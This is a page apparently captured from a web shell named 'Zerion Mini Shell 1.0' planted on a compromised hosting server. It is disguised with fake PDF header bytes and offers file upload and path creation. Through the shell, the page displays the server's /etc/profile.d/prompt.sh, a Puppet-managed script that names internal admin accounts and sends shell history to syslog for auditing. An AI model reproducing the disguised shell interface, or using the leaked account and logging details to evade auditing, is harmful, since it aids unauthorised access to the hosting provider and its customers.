%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/profile.d/
Upload File :
Create Path :
Current File : //etc/profile.d/prompt.sh

###################################################################################
#                           A T T E N T I O N !                                   #
#        This file is under puppet control! Do NOT make changes manually!         #
###################################################################################


if [ "$PS1" ]; then
  if [ "${USER}" == wh ] || [ "${USER}" == la2 ] || [ "${USER}" == root ] || [ "${USER}" == netops ] || [ "${USER}" == dcops ] || [ "${USER}" == hsdcops ] || [[ "${USER}" =~ hc_.+\. ]] || [ "${USER}" == techsup ]
  then
    if [[ "${TERM}" == xterm*  ]] || [ "${TERM}" == screen ]
    then
      echo -ne "\033]0;${USER}@${HOSTNAME%%.*}"; echo -ne "\007"
    fi
      #for logins via ipmi/idrac console or VNC
      tty=$(tty)
      if [[ ${tty} =~ 'tty' ]]; then
        export SSH_TTY=$tty
        export SSHD_USER=$USER
      fi

      if [ -z "${SSHD_USER}" ]; then
        SSHD_USER=$(cat /proc/$PPID/environ 2>/dev/null| tr '\0' '\n' | grep '^SSHD_USER' | cut -d"=" -f2)
        #set SSHD_USER for Namecheap
        if [ -n "${SSHD_USER}" ]; then
          export SSHD_USER
        #set SSHD_USER for Spaceship
        else
          SSHD_USER=$(ps -o user= -p $$)
          pid="$$"
          while [ "${SSHD_USER}" == 'root' ]
          do
            ppid=$(cat /proc/$pid/status | grep "PPid" | awk '{print $2}')
            pid=$ppid
            SSHD_USER=$(ps -o user= -p "${ppid}")
            export SSHD_USER
          done
        fi
      fi

      #set SSH_TTY for both - Namecheap and Spaceship
      pid="$$"
      while [ -z "${SSH_TTY}" ]
      do
        ppid=$(cat /proc/$pid/status | grep "PPid" | awk '{print $2}')
        pid=$ppid
        export SSH_TTY=$(tr '\0' '\n' < /proc/"${ppid}"/environ | grep '^SSH_TTY' | cut -d'=' -f2)
      done
      export PROMPT_COMMAND='history -a >(tee -a  ~/.bash_history |logger -p local4.alert -t "$SSHD_USER:[$USER]:[$SSH_TTY]:[$PWD]")'
  elif [[ -d /dev/fd  &&  -d /var/.cagefs ]]
  then
    unset HISTTIMEFORMAT
    export PROMPT_COMMAND='history -a >(tee -a  ~/.bash_history |logger -p local5.alert -t "${USER}:${PWD}")'
  fi
fi

Zerion Mini Shell 1.0